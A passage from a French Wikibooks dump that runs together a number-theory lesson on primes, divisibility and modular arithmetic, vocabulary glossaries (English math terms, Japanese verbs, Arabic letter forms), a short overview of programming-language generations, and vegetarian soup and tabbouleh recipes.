chiffres est divisible par 3. Comment savoir si la somme de ses chiffres est divisible par 3 ? Appliquer le théorème de nouveau ! Ceci est tellement vrai "... la récursivité, [est] divine". :''Essayez quelques nombres vous-mêmes.'' ====info — Récursivité==== <blockquote style="padding: 1em; border: 2px dotted purple;"> Un scientifique éminent d'informatique a dit un jour "L'itération est humaine, la récursivité, divine." Mais que veux dire ''récursivité'' ? Avant cela, qu'est-ce que l'''itération'' ? "Itérer" veut dire simplement faire la même chose encore et encore, les ordinateurs font cela très bien. Un exemple d'itération en mathématiques est l'opération d'exponentiation, c.a.d. x<sup>n</sup> qui veut dire <math>x \times x \times x \times x...</math>n fois. C'est un exemple d'itération. ''Penser'' à l'itération ''économiquement'' (en termes de ressources mentales), en définissant un problème en termes de lui-même, est "récursif". Pour représenter x<sup>n</sup> récursivement, nous écrivons : :<math> x^n = 1 </math> si ''n'' est égal à 0. :<math> x^n = x\times x^{n-1} </math> si ''n'' > 0 Qu'est-ce que 9<sup>9</sup> ? C'est 9 x 9<sup>8</sup>. Mais qu'est-ce que 9<sup>8</sup> ?, c'est 9 x 9<sup>7</sup>. Répéter cette manière de faire est un exemple de récursivité. </blockquote> ====Exercices==== Factoriser ces entiers : # 45 # 4050 # 2187 ===Trouver des nombres premiers=== Le crible des nombres premiers est une méthode relativement efficiente pour trouver tous les nombres premiers inférieurs ou égaux à un nombre précis. Disons que nous voulons tous les nombres premiers inférieurs ou égaux à 50. Premièrement, nous écrivons tous les nombres compris entre 0 et 51 dans une table comme ci-dessous :<math> \begin{matrix} 1 & 2 & 3 & 4 & 5 & 6 & 7 & 8 & 9 & 10 \\ 11 & 12 & 13 & 14 & 15 & 16 & 17 & 18 & 19 & 20 \\ 21 & 22 & 23 & 24 & 25 & 26 & 27 & 28 & 29 & 30 \\ 31 & 32 & 33 & 34 & 35 & 36 & 37 & 38 & 39 & 40 \\ 41 & 42 & 43 & 44 & 45 & 46 & 47 & 48 & 49 & 50 \\ \end{matrix} </math> On enlève 1, car il n'est pas premier. :<math> \begin{matrix} X & 2 & 3 & 4 & 5 & 6 & 7 & 8 & 9 & 10 \\ 11 & 12 & 13 & 14 & 15 & 16 & 17 & 18 & 19 & 20 \\ 21 & 22 & 23 & 24 & 25 & 26 & 27 & 28 & 29 & 30 \\ 31 & 32 & 33 & 34 & 35 & 36 & 37 & 38 & 39 & 40 \\ 41 & 42 & 43 & 44 & 45 & 46 & 47 & 48 & 49 & 50 \\ \end{matrix} </math> Maintenant, 2 est le plus petit nombre pas encore rayé dans la table. Nous marquons 2 comme un nombre premier et nous rayons tous ses multiples 4, 6, 8, 10 ... :<math> \begin{matrix} X & 2_p & 3 & X & 5 & X & 7 & X & 9 & X \\ 11 & X & 13 & X & 15 & X & 17 & X & 19 & X \\ 21 & X & 23 & X & 25 & X & 27 & X & 29 & X \\ 31 & X & 33 & X & 35 & X & 37 & X & 39 & X \\ 41 & X & 43 & X & 45 & X & 47 & X & 49 & X \\ \end{matrix} </math> Maintenant, 3 est le plus petit nombre pas encore marqué. Nous marquons 3 comme un nombre premier et nous rayons tous ses multiples 6, 9, 12, 15 ... :<math> \begin{matrix} X & 2_p & 3_p & X & 5 & X & 7 & X & X & X \\ 11 & X & 13 & X & X & X & 17 & X & 19 & X \\ X & X & 23 & X & 25 & X & X & X & 29 & X \\ 31 & X & X & X & 35 & X & 37 & X & X & X \\ 41 & X & 43 & X & X & X & 47 & X & 49 & X \\ \end{matrix} </math> Maintenant 5 est le plus petit nombre pas encore marqué. Nous marquons 5 comme un nombre premier et nous rayons tous les multiples de 5. :<math> \begin{matrix} X & 2_p & 3_p & X & 5_p & X & 7 & X & X & X \\ 11 & X & 13 & X & X & X & 17 & X & 19 & X \\ X & X & 23 & X & X & X & X & X & 29 & X \\ 31 & X & X & X & X & X & 37 & X & X & X \\ 41 & X & 43 & X & X & X & 47 & X & 49 & X \end{matrix} </math> Maintenant 7 est le plus petit nombre pas encore marqué. Nous marquons 7 comme un nombre premier et nous rayons tous les multiples de 7. :<math> \begin{matrix} X & 2_p & 3_p & X & 5_p & X & 7_p & X & X & X \\ 11 & X & 13 & X & X & X & 17 & X & 19 & X \\ X & X & 23 & X & X & X & X & X & 29 & X \\ 31 & X & X & X & X & X & 37 & X & X & X \\ 41 & X & 43 & X & X & X & 47 & X & X & X \\ \end{matrix} </math> La méthode décrite ci-dessus peut être répétée, mais elle n'éliminera pas un nombre composé pas encore éliminé. ''Essayez de le prouver vous-même !'' Mais pourquoi est-ce ainsi ? Parceque le prochain nombre non marqué est 11 et 11<sup>2</sup> &gt; 50. (Pourquoi ?) ====Exercice==== 1. Trouver tous les nombres inférieurs à 200 ===Infinité des nombres premiers=== Nous savons que certains nombres peuvent être décomposés en nombres premiers. Certains ont seulement eux-mêmes comme nombre premier, parcequ'ils sont premiers. Donc, combien de nombres premiers existe-t'il ? Il en existe une infinité ! Voici une démonstration classique de l'infinité des nombres premiers datant de plus de 2 000 ans et due au mathématicien grec Euclide : ====Démonstration de l'infinité des nombres premiers==== D'abord, supposons la proposition suivante : :''il existe un nombre fini de nombre premiers'' par conséquent :''il doit exister un nombre premier qui est plus grand que tous les autres,'' appelons ce nombre premier ''n''. Nous allons maintenant montrer que les deux propositions sont contradictoires, et ainsi montrer qu'il existe une infinité de nombres premiers. Prenons le produit de tous les nombres premiers pour former un nombre ''x''. Ainsi :<br/> :<math> x = 2 \times 3 \times 5 \times \ldots \times n </math> Alors, soit ''y'' égal à un plus que ''x'' :<br/> :<math> y = x + 1 </math> On peut maintenant conclure que ''y'' n'est divisible par aucun des nombres premiers formant ''n'', puisque ''y'' diffère d'un multiple de chacun des nombres premiers par exactement 1. Puisque ''y'' n'est divisible par aucun nombre premier, ''y'' doit être soit un nombre premier, ou ses facteurs premiers doivent tous être plus grands que ''n'', une contradiction de la proposition originale qui énonce que ''n'' est le plus grand nombre premier ! Par conséquent, on peut déclarer que la proposition originale est incorrecte, et ainsi, qu'il existe une infinité de nombres premiers. ====info — Nombres premiers dans une progression arithmétique==== <blockquote style="padding: 1em; border: 2px dotted purple;"> Considérons la progression arithmétique :''a'', ''a'' + ''b'', ''a'' + 2''b'', ''a'' + 3''b'' .... si ''a'' et ''b'' partagent un facteur commun plus grand que 1, alors ''a'' + ''kb'' pour tout k n'est pas un nombre premier. Mais si ''a'' et ''b'' sont premiers entre eux, alors il existe une infinité de ''k'''s tels que ''a'' + ''kb'' est premier ! Par exemple, considérons a = 3, b = 4, :3, 7, 11, 15, 19, 23, 27, 31... dans cette liste plutôt courte, 3, 7, 11, 19, 23 et 31 sont premiers et ils sont tous égaux à 4''k'' + 3 pour un certain ''k''. Et il existe une infinité de nombres premiers dans cette progression (voir : Exercices sur la démonstration par l'absurde [[AL_Démonstrations mathématique| Démonstrations]]). </blockquote> == Ensemble de problèmes == 1. Montrer que le théorème "divisible par 3" marche pour tout nombre à 3 chiffres (Astuce : Exprimer un nombre à 3 chiffre sous la forme 100a + 10b + c, où 0 &le; a, b et c &le; 9) 2. "Un nombre est divisible par 9 si et seulement si la somme est divisible par 9." Vrai ou faux ? Déterminer si 89, 558, 51858, et 41857 sont divisibles par 9. Vérifier vos réponses. 3. Existe-t'il une règle pour déterminer si un nombre à 3 chiffres est divisible par 11 ? Si oui, déterminer cette règle. 4. :<math> \begin{matrix} X & 2 & 3 & X & 5 &X &7& X& X& X \\ 11 & X & 13 & X& X& X&17 &X& 19& X\\ X& X& 23 & X& X &X&X&X&29& X\\ 31 &X& X& X& X &X&37& X& X& X\\ 41 & X& 43 & X& X&X&47& X& 49& X\\ \end{matrix} </math> Le crible premier a été appliqué à la table ci-dessus. Noter que chaque nombre situé directement sous 2 et 5 sont rayés. Construire une grille rectangulaire de nombre allant de 1 à 60 après que le crible premier ait été exécuté sur elle, tous les nombres situés directement sous 3 et 5 sont rayés. Quelle est la largeur de la grille ? 5. Montrer que ''p'', ''p + 2'' et ''p + 4'' ne peuvent pas être tous des nombres premiers. (''p'' un nombre entier positif) 6. Montrer que n - 1 a lui-même comme inverse modulo ''n''. 7. Montrer que 10 n'a pas d'inverse modulo 15. 8. Trouver x :<math> \begin{matrix} x \equiv 3^7 + 1^7 + 2^7 + + 4^7 + 5^7 + 6^7 + 7^7 \ \pmod{7}\\ \end{matrix} </math> 9. Montrer qu'il n'existe pas d'entier x et y tels que :<math> x^2 - 5y^2 = 3 </math> 10. Soit ''p'' un nombre premier. Montrer que '''(a)''' :<math> (p-1)! \equiv -1\ \mbox{(mod p)} </math> où :<math> n! = 1 \cdot 2 \cdot 3 \cdots (n-1) \cdot n </math> C.a.d. 3! = 1*2*3 = 6 '''(b)''' Maintenant, montrer que :<math>\sqrt{-1} \equiv \frac{p - 1}{2}! \pmod{p}</math> pour ''p'' &equiv; 1 (mod 4) == Projet — La racine carrée de -1 == 1. La question 10 de l'ensemble des problèmes a montré que :<math>\sqrt{-1} \equiv \sqrt{p-1} \pmod{p}</math> existe pour ''p'' &equiv; 1 (mod 4) premier. Expliquer pourquoi aucune racine carrée de -1 n'existe si ''p'' &equiv; 3 (mod 4) est premier. 2. Montrer que pour ''p'' &equiv; 1 (mod 4) premier, il existe exactement 2 solutions à :x = <math>\sqrt{-1} \pmod{p}</math> 3. Supposons ''m'' et ''n'', des nombres entiers avec pgdc(''n'',''m'') = 1. Montrer que pour chacun des nombres 0, 1, 2, 3, .... , ''nm'' - 1, il existe une paire unique de nombre ''a'' et ''b'' tel que le plus petit nombre ''x'' qui satisfait : :''x'' &equiv; a (mod m) :''x'' &equiv; b (mod n) est ce nombre. C.a.d. Supposons m = 2, n = 3, alors 4 est uniquement représenté par :''x'' &equiv; 0 (mod 2) :''x'' &equiv; 1 (mod 3) comme le plus petit ''x'' qui satisfait les deux congruences précédentes est ''4''. Dans ce cas, l'unique paire de nombres est 0 et 1. 4. Si ''p'' &equiv; 1 (mod 4) premier et ''q'' &equiv; 3 (mod 4) premier. Est-ce que :<math>\sqrt{-1} \pmod{pq}</math> a une solution ? Pourquoi ? 5. Si ''p'' &equiv; 1 (mod 4) premier et ''q'' &equiv; 1 (mod 4) premier et p &ne; q. Montrer que :<math>x = \sqrt{-1} \pmod{pq}</math> a plus que 4 solutions. 6. Trouver les 4 solutions pour :<math>x = \sqrt{-1} \pmod{493} </math> noter que 493 = 17 x 29. 7. Prendre un entier ''n'' avec plus de 2 facteurs premiers. Considérons : :<math>x = \sqrt{-1} \pmod{n}</math> Sous quelle conditions existe-t'il une solution ? L'expliquer. Anglais : Mathematics, les mathématiques 3609 32102 2006-02-08T15:27:45Z 83.194.48.202 an operation : ''une opération''<br />an addition : ''une addition''<br />a subtraction : ''une soustraction''<br />a multiplication : ''une multiplication''<br />a division : ''une division'' <br />to multiply : ''multiplier'' <br />a integer : ''un nombre entier'' a polynomial : ''un polynôme''<br />quadratic : ''du second degré'' == Geometry : ''la géométrie'' == plane geometry : ''la géométrie plane''<br />three-dimensional geometry or solid geometry : ''la géométrie dans l'espace''<br /> ===a line : ''une droite''=== intersecting lines : ''des droites sécantes''<br />parallel lines : ''des droites parallèles''<br />perpendicular lines : ''des droites perpendiculaires'' <br />a triangle: ''un triangle''<br />a quadrilatéral : ''un quadrilatère''<br />a trapezoid [US], a trapezium [UK] : ''un trapèze [US], un trapèze [UK]''<br />a parallelogram : ''un parallélogramme''<br />a rhombus : ''un losange''<br />a square : ''un carré''<br />a polygon : ''un polygone'' <br /> linear : ''linéaire''<br /> an angle : ''un angle''<br />a right angle : ''un angle droit''<br />an acute angle : ''un angle aigu''<br />an obtuse angle : ''un angle obtus''<br />a straight angle : ''un angle plat''<br />alternate interior angles : ''des angles alternes-internes''<br />vertically opposite angles : ''des angles opposés par le sommet'' cosine : ''cosinus''<br />sine : ''sinus''<br />tangent : ''tangente'' == a cartesian coordinate system : ''un repère cartésien'' == the coordinates : ''les coordonnées''<br />the abscissa : ''l'abscisse''<br />the x-coordinate : ''l'asbcisse''<br />the ordinate : ''l'ordonnée''<br />the y-coordinate : ''l'ordonnée'' ---- Cette page est dérivée du projet [http://fury.language.free.fr/wikini/wakka.php?wiki=EngFraMathsGeometry Fury Language] ---- <br />Retour au [[Enseignement de l'anglais|sommaire]] ---- Verbes (japonais) 3612 20454 2005-09-02T12:50:00Z Duarna 465 +modèle Retour à la [[Table des matières (Japonais)|table des matières]]. Méthode de traduction: x=y=z=w avec "x" écriture en kanji, "y" écriture en hiragana, "z" écriture en romanji et "w" la traduction en français. == あ == ある=aru=il ya (pour les objets). あう=au= rencontrer. あそぶ=asobu= jouer. == た == <big>[[wiktionary:fr:食べる|食べる]]</big>=たべる=taberu=manger. == ね == <big>[[wiktionary:fr:寝る|寝る]]</big>=ねる=neru=dormir. == よ == <big>[[wiktionary:fr:読む|読む]]</big>よむ=yomu=lire. == の == <big>[[wiktionary:fr:飲む|飲む]]</big>=のむ=nomu=boire. == わ == <big>[[wiktionary:fr:分かる|分かる]]</big>=わかる=comprendre. == は == <big>[[wiktionary:fr:働く|働く]]</big>=はたらく=hataraku=travailler. はなす=hanasu= parler. <big>[[wiktionary:fr:入る|入る]]</big>=はる=haru= entrer. ==ま== まつ=matsu=attendre. == い == <big>[[wiktionary:fr:行く|行く]]</big> =いく=iku=aller. <big>[[wiktionary:fr:居る|居る]]</big>=いる=iru=il y a (pour les être vivants). <big>[[wiktionary:fr:急ぐ|急ぐ]]</big> <big>[[wiktionary:fr:生きる|生きる]]</big> ==み== みる=miru= voir. ==き== きく=kiku= écouter. ==し== しぬ=shinu= mourir. ==Voir aussi== *[[wiktionary:fr:Catégorie:verbe_japonais|Les verbe dans le wiktionnaire]] {{Glossaires_de_Japonais}} [[catégorie:Glossaires de Japonais]] [[en:Japanese:Vocabulary_Verbs]] Arabe/Alphabet arabe (par groupe) 3617 15114 2005-05-18T21:10:58Z Jim2k 289 /* Courbe-pointé */ == Reconnaissance des caractères == <!-- note : on suppose que le lecteur connaît déjà son alphabet, mais qu'il veux maintenant les reconnaître lorsqu'ils sont écrits --> L'[[Wikipedia:Arabe|arabe]] écrit possède 4 formes pour chaque lettre. Ceci peut apparaître beaucoup de prime abord, mais ce n'est pas aussi difficile que vous pouvez penser. Pour commencer, l'arabe n'a pas de lettres capitales, ainsi, cette quantité chute d'un rapport de 4 pour 1 avec l'alphabet latin à un rapport de 2 pour 1. Deuxièmement, l'arabe n'a pas de lettres en versions manuscriptes ou cursives ; puisque ce que vous êtes déjà en train d'apprendre ''est'' cursif, on peut considérer que le rapport chute de 2 pour 1 à 1 pour 1. Il y a encore mieux, beaucoup de ces lettres sont réellement de simples dérivations d'autres lettres, et beaucoup de celles qui n'ont pas de dérivations se comportent de manière suffisamment similaire pour être apprises ensemble. Cette page est destinée à examiner ces similarités pour vous aider à savoir lire et écrire les lettres arabes. === En un coup d'oeil === Voici les groupes de lettres d'un seul coup d'oeil. Nous avons indiqué plus tôt qu'il existe 4 formes pour chaque caractère : isolé, intial, médial et final. Dans cette table, nous '''n'avons seulement montré que la forme isolée''' de chaque caractère. Mais nous avons aussi séparé les lettres en groupes qui ont des formes similaires. Remarquez comment certaines lettres sont dérivées d'autres lettres par ajouts de points au-dessus ou en-dessous d'une certaine forme de base. Vous pouvez être émerveillé par le fait que certaines lettres sont similaires aux autres. Ceci, parceque la table est organisée par similarité de la forme médiale à partir de chaque lettre, c'est à dire la forme que la lettre prend lorsqu'elle est dans le milieu d'un mot. Progressons jusqu'au nouvel ensemble de tables, où vous apprendrez ces formes dans de plus amples détails. ''Avertissement : l'organisation des lettres en groupes est basée strictement sur les opinions personnelles des auteurs. Si quelque autorité en langue arabe vous dit que cela est autrement, vous devez les croire plutôt que nous'' {| border=1 style="font-size:150%; border-collapse: collapse;" !style="background:#efefef;"| |style="background:#efefef;"| Pas de point |style="background:#efefef;"| 1 point |style="background:#efefef;"| 2 points |style="background:#efefef;"| 3 points |- || constant || س<br> ص<br> ط<br> &nbsp; || &nbsp;<br> ض <br> ظ <br> ف || &nbsp;<br> &nbsp;<br> &nbsp;<br> ق || ش <br> &nbsp;<br>&nbsp;<br>&nbsp; |- || isolé || ا<br> د<br> ر<br> و || <br> ذ<br> ز<br> &nbsp; || &nbsp; || &nbsp; |- || courbe/pointé || &nbsp; || ب<br> ن<br> &nbsp; || ت<br> &nbsp;<br> ي <br> || ث<br> &nbsp;<br> &nbsp; |- || crochet || ح<br> ع || ج خ <br> غ || &nbsp; || &nbsp; |- || autre || ل <br> م <br> ه <br> ك || || || &nbsp; |} == Lettres arabes en détail == Maintenant, nous regarderons chacune des classes de lettres en détail. Chaque ligne de cette table représente une lettre séparée. Il y a 8 lettres constantes, 6 isolées, 5 courbe-pointées, 5 crochets, et 4 autres. Vous noterez aussi que nous groupons les lignes par nombre de points; ceci pour vous montrer les similarités entre les lettres qui diffèrent seulement par les points utilisés. Bien que ba ( ب ) et tha ( ث ) soient des lettres complètement différentes, elles ont beaucoup de points communs. === Constante === Les formes constantes se comportent grossièrement de la même manière quelle que soit leur position. {| border=1 border=1 style="font-size:150%; border-collapse: collapse;" !style="background:#efefef;"| |style="background:#efefef;"| finale |style="background:#efefef;"| médiale |style="background:#efefef;"| initiale |style="background:#efefef;"| isolée |- |rowspan=4| Pas de point || ـس || ـسـ || سـ || س |- || ـص || ـصـ || صـ || ص |- || ـط || ـطـ || ـط || ط |- |colspan=4 bgcolor="gray"|<font size="-2">&nbsp;</font> |- |rowspan=4| 1 point |colspan=4 bgcolor="gray"|<font size="-2">&nbsp;</font> |- ||ـض || ـضـ || ضـ || ض |- ||ـظ ||ـظـ ||ظـ ||ظ |- || ـف || ـفـ || فـ || ف |- |rowspan=4| 2 points |colspan=4 bgcolor="gray"|<font size="-2">&nbsp;</font> |- |colspan=4 bgcolor="gray"|<font size="-2">&nbsp;</font> |- |colspan=4 bgcolor="gray"|<font size="-2">&nbsp;</font> |- || ـق || ـقـ || قـ || ق |- |rowspan=4| 3 points || ـش || ـشـ ||شـ ||ش |- |colspan=4 bgcolor="gray"|<font size="-2">&nbsp;</font> |- |colspan=4 bgcolor="gray"|<font size="-2">&nbsp;</font> |- |colspan=4 bgcolor="gray"|<font size="-2">&nbsp;</font> |} Note : techniquement fa et qa ne sont pas reliée aux autres, mais pour nous étant débutants, nous admettrons qu'elles le sont pour le moment. === Isolées === Les caractères isolés ne se connectent pas à la lettre suivante dans la forme médiale. Considérons alef et lam... écrits dans le milieu des mots, elles sont presque identiques, mais parceque alef n'est pas connectée au caractère suivant (ـاـ) mais lam l'est (ـلـ), vous pouvez les dire séparément. {| border=1 border=1 style="font-size:150%; border-collapse: collapse;" !style="background:#efefef;"| |style="background:#efefef;"| finale |style="background:#efefef;"| médiale |style="background:#efefef;"| initiale |style="background:#efefef;"| isolatée |- |rowspan=4| Pas de point || ـا || ـاـ || اـ ||ا |- ||دـ ||ـدـ ||دـ ||د |- ||ـر ||ـرـ ||رـ ||ر |- ||ـو ||ـوـ ||وـ ||و |- |rowspan=4| 1 point |colspan=4 bgcolor="gray"|<font size="-2">&nbsp;</font> |- || ـذ || ـذـ || ـذ ||ذ |- ||ـز ||ـزـ ||زـ ||ز |- |colspan=4 bgcolor="gray"|<font size="-2">&nbsp;</font> |} === Courbe-pointé === Les lettres courbe-pointées ont une courbe unique en forme isolée ou initiale, mais lorsqu'elles sont dans le milieu d'un mot, elle forment un simple point au-dessus. {| border=1 border=1 style="font-size:150%; border-collapse: collapse;" !style="background:#efefef;"| |style="background:#efefef;"| finale |style="background:#efefef;"| médiale |style="background:#efefef;"| initiale |style="background:#efefef;"| isolée |- |rowspan=3| 1 point || ـب ||ـبـ ||بـ ||ب |- ||ـن ||ـنـ ||نـ ||ن |- |colspan=4 bgcolor="gray"|<font size="-2">&nbsp;</font> |- |rowspan=3| 2 points || ـت || ـتـ || تـ || ت |- |colspan=4 bgcolor="gray"|<font size="-2">&nbsp;</font> |- || ـي || ـيـ || يـ || ي |- |rowspan=3| 3 points || ـث || ـثـ ||ثـ ||ث |- |colspan=4 bgcolor="gray"|<font size="-2">&nbsp;</font> |- |colspan=4 bgcolor="gray"|<font size="-2">&nbsp;</font> |} === Crochet === Les lettres avec crochet ont un crochet vers le bas dans leur forme finale et un crochet vers le haut dans leur forme médiale. {| border=1 border=1 style="font-size:150%; border-collapse: collapse;" !style="background:#efefef;"| |style="background:#efefef;"| finale |style="background:#efefef;"| médiale |style="background:#efefef;"| initiale |style="background:#efefef;"| isolée |- |rowspan=2| Pas de point || ـح || ـحـ || حـ || ح |- || ـع || ـعـ || عـ || ع |- |rowspan=2| 1 point au-dessus || ـخ || ـخـ || خـ || خ |- || ـغ || ـغـ || غـ || غ |- |rowspan=2| 1 point en-dessous || ـج || ـجـ || جـ || ج |- |colspan=4 bgcolor="gray"|<font size="-2">&nbsp;</font> |} === Autres === Finalement, il existe quatre lettres qui ont leur propre comportement idiosyncratiques. {| border=1 border=1 style="font-size:150%; border-collapse: collapse;" !style="background:#efefef;"| |style="background:#efefef;"| finale |style="background:#efefef;"| médiale |style="background:#efefef;"| initiale |style="background:#efefef;"| isolée |- |rowspan=4| Pas de point || ـك || ـك || كـ || ك |- || ـل || ـلـ || لـ || ل |- || ـم || ـمـ || مـ || م |- || ـه || ـهـ || هـ || ه |} == Lettres spéciales == === Ta marbuta === Un lettre que vous rencontrerez plutot fréquemment est le ta marbuta ( ة , à ne pas confondre avec ه ). Cette lettre apparaît toujours en position finale et possède deux formes : {| border=1 border=1 style="font-size:150%; border-collapse: collapse;" !style="background:#efefef;"| |style="background:#efefef;"| finale |style="background:#efefef;"| médiale |style="background:#efefef;"| initiale |style="background:#efefef;"| isolée |- |rowspan=4| 2 points || ـة || || || ة |} === Ligatures === Quelques fois, deux lettres se combinent pour être écrites d'une manière plus agréable ou plus pratique. Lorsque lam ( ل ) est suivie par alif ( ا ), forment généralement le lam-alif ( لا ): {| border=1 border=1 style="font-size:150%; border-collapse: collapse;" !style="background:#efefef;"| |style="background:#efefef;"| finale |style="background:#efefef;"| médiale |style="background:#efefef;"| initiale |style="background:#efefef;"| isolée |- |rowspan=4| Pas de point || ـلا || || || لا |} Image:Fsf-song.png 3618 15115 2005-05-18T22:04:14Z Toady 304 Partition musicale de la fsf song Partition musicale de la fsf song Langages de programmation 3623 15118 2005-06-07T20:09:27Z Guillaumito 46 un peu re remise en forme On distingue six générations de langages de programmation. Les langages des générations 1 et 2 sont appelés langages de bas niveau (orienté machine) alors que les langages des générations 3 à 6 sont appelés langages de haut niveau (orienté problème). Les langages de haut niveau sont indépendant du processeur ce qui n’est pas le cas des langages de bas niveau. == Bas niveau == === Génération 1 === * Langage machine dépendant du processeur * Suite d’instructions binaire directement introduites (programmation directe) dans la mémoire de processeur * Les instructions du processeur sont appelées code opérationnel Code opérationnel- Intel pentium- Motorola 6800 === Génération 2 === * Même jeux d’instructions que le langage machine, mais sous forme symbolique (Mnémoniques) plus compréhensible pour l’homme * Les instruction sont converties (programmation indirecte) en langage machine par un programme (assembleur) == Haut niveau == === Génération 3 === * Langages indépendants du processeur * Proches des langues parlées (anglais) * Langages procéduraux descriptions des opérations à effectuées pour résoudre un problème Langages : C, Pascal,Fortran (Formula Translation)Cobol (Common business language)Basic === Génération 4 === * Langages descriptifs * Description de ce que l’on désire faire mais pas comment le faire * Très fortement lié à un domaine (base de donné, Tables de calcul) Langages : Informix, Oracle, Lotus === Génération 5 === * Langages descriptifs pour la programmation de systèmes expert Langages : Prolog === Génération 6 === * Orienté objet * Toutes les informations nécessaires à la résolution d’un problème sont réunies dans un objet Langages : C++, Java, Object Pascal Cuisine:Taboulé aux herbes 3625 19953 2005-08-24T19:40:40Z 131.130.1.143 ==Ingrédients== * 130g de Boulgour * 185mL d'eau * 150g de persil frais * 4 oignons nouveaux finement hachés * 3 tomates moyennes hachées * 80mL de jus de citron * 60mL d'huile d'olive * 30g de ciboulette fraîche * 75g de basilic frais * 10g de menthe fraîche * sel ==Préparation== * Verser l'eau sur le boulgour dans un bol. * Laisser reposer 15 min, jusqu'à ce que toute l'eau soit absorbée. * Eliminer les tiges du persil. Laver et sécher soigneusement les herbes. Les hacher finement. * Mettre le boulgour, les herbes aromatiques, les petits oignons, les tomates, le jus de citron, l'huile et le sel dans un saladier et bien remuer. * Réfrigérer jusqu'au moment de servir. Cuisine:Taboulé au quinoa 3626 15121 2005-05-19T16:26:46Z Sarvok 270 ==Ingrédients== * 200g de quinoa * 2 carottes * 1 oignon * 1 poivron rouge * 2 épis frais de maïs doux. * vinaigrette à l’huile d’olive * ciboulette ==Préparation== * Mettre à cuire 10 min la quinoa dans 2 fois son volume d’eau. * Couper en allumettes les carottes et le poivron. Jetez-les 3 min dans de l’eau bouillante. * Râper finement l’oignon et le mettre dans la vinaigrette, puis ajouter le tout à la quinoa refroidie et aux légumes. Mélanger délicatement et saupoudrer de ciboulette hachée. Cuisine:Taboulé exotique aux oranges et aux pruneaux 3627 15122 2005-05-19T16:29:25Z Sarvok 270 ==Ingrédients== * 200g de semoule (taille moyenne) * 50g de pruneaux dénoyautés 35cL de bouillon de basilic, 2 càs d’huile d’olive, 1 orange, 1 botte de menthe, 300g de tomates, 100g de poivrons, 100g d’oignons. ==Préparation== * Porter à ébullition le bouillon de légumes et retirer du feu, y verser le zeste haché d’un quart d’orange pour infusion. Rincer et tailler en dés les poivrons, la tomate, l’oignon et la moitié d’orange épluchée. Verser le bouillon tiède sur la semoule dans un saladier avec la moitié de la menthe hachée, les pruneaux en morceaux et les légumes. S’assurer que la semoule reste ferme mais pas craquante. * Rafraîchir au réfrigérateur. * Au moment de servir, ajouter l’huile d’olive, le reste de la menthe et le jus d’une demi-orange. Vérifier l’assaisonnement et servir. Cuisine:Bouillon de légumes 3628 21832 2005-09-21T20:42:16Z Guillaumito 46 {{Livre de cuisine}} {{Livre de cuisine}} ==Ingrédients== * 50g de margarine * 2 oignons hachés * 6 carottes hachées * 4 branches de céleri hachées * 2 gousses d’ail écrasées * 500g de tomates hachées * 2 cuillères à soupe de persil * 10 grains de poivre, 1 cuillère à thé de thym, 2 feuilles de laurier * 3L d’eau ==Préparation== * Faire revenir les légumes (sauf les tomates) dans la margarine. Ajouter les tomates, les assaisonnements et l'eau. Laisser mijoter jusqu'à ce qu'il y ai réduction de moitié du liquide. * Filtrer Cuisine:Potage aux lentilles corail 3629 15124 2005-05-19T17:21:00Z Sarvok 270 ==Ingrédients== * 300g de lentilles corail (oranges) * 2L de bouillon de légumes * 1 oignon haché * 1 gousse d’ail hachée * 3 carottes coupées en rondelles * sel, poivre, thym, huile d’olive ==Préparation== * Rissoler l’oignon, l’ail et les carottes, leur ajouter les lentilles, le bouillon et l’assaisonnement. Porter à ébullition puis laisser mijoter 30 min à la casserole à pression. * Servir chaud avec des croûtons de pain. Cuisine:Soupe minestrone 3630 15125 2005-05-19T17:25:15Z Sarvok 270 ==Ingrédients== * 150g de haricots blancs secs mis à tremper la veille * 100g de chou blanc émincé finement * 2 carottes coupées en morceaux * 150g de haricots verts coupés * 150g de petits pois * 2 pommes de terre coupées en dés * 4 tomates coupées en morceaux * 1 gros oignon émincé * 1 gousse d’ail hachée * 2L de [[Cuisine:Bouillon de légumes|Bouillon de légumes]] * thym, romarin, sel, poivre, basilic frais, huile d’olive. ==Préparation== * Rissoler l’oignon et l’ail. Leur ajouter les carottes, le chou, les haricots, les pois, les pommes de terre et les tomates. Laisser suer quelques instants. Mouiller avec le bouillon, parfumer avec le thym et le romarin et ajouter les haricots égouttés. Faire cuire au moins 30 min à la casserole à pression. * Assaisonner selon le goût et présenter à part un pesto de basilic. Cuisine:Soupe au potiron 3631 15126 2005-05-19T17:26:52Z Sarvok 270 ==Ingrédients== * 1 potiron de taille moyenne * 1 oignon haché * 1 gousse d’ail écrasée * [[Cuisine:Bouillon de légumes|Bouillon de légumes]] * 1 cuillère à soupe d’huile d’arachide * sel, poivre. ==Préparation== * Faire chauffer l’huile et rissoler l’oignon. Lui ajouter le potiron coupé en dés, le bouillon végétal, la gousse d’ail écrasée et l’assaisonnement. Faire cuire 30 min à la marmite à pression. Cuisine:Potage aux pois cassés 3632 15127 2005-05-19T17:27:47Z Sarvok 270 ==Ingrédients== * 300g de pois cassés * 2L de bouillon de légumes * 1 oignon haché * 1 poireau coupé en tronçons * 1 petit concombre coupé en morceaux * sel, poivre, huile d’arachide. ==Préparation== * Rissoler l’oignon, le poireau et le concombre dans l’huile, leur ajouter les pois cassés et le bouillon, ainsi que l’assaisonnement. Porter à ébullition puis laisser mijoter 30 min à la casserole à pression. * Servir avec des croûtons de pain. Cuisine:Soupe aux lentilles 3633 15128 2005-05-19T17:29:13Z Sarvok 270 ==Ingrédients== * 3,2L d’eau * 800mL de lentilles * 200mL d’oignons en dés * 200mL de carottes en dés * 200mL de céleri en dés * 50mL d’huile * 60mL de purée de tomates * 200mL de maïs en grains * sel, poivre et cumin, au goût. ==Préparation== * Amener l’eau à ébullition. Ajouter les lentilles et cuire environ 30 min. * Pendant ce temps, faire suer dans l’huile : oignons, carottes et céleri. Ajouter le maïs et la purée de tomates. Ajouter ce mélange aux lentilles. Assaisonner et terminer la cuisson à feu moyen. * ''Pour augmenter la saveur, ajouter 60mL de concentré de légumes.'' Cuisine:Gaspacho andalou 3634 15129 2005-05-19T17:31:19Z Sarvok 270 ==Ingrédients== * 6 grosses tomates * 2 concombres * 1 poivron vert * 1 poivron rouge * 1 gros oignon * 12 petits oignons nouveaux * 2 gousses d'ail * 6 tranches de pain rassis * 4 cuillère à soupe d'huile d'olive * 2 cuillère à soupe de persil haché * 2 cuillère à soupe de cerfeuil haché * piment de Cayenne, sel, poivre. ==Préparation== * Pour cette soupe froide traditionnelle, choisissez avec un soin particulier des tomates de saison, bien mûres, bien juteuses et très parfumées. * Laver, éplucher et couper les légumes et le 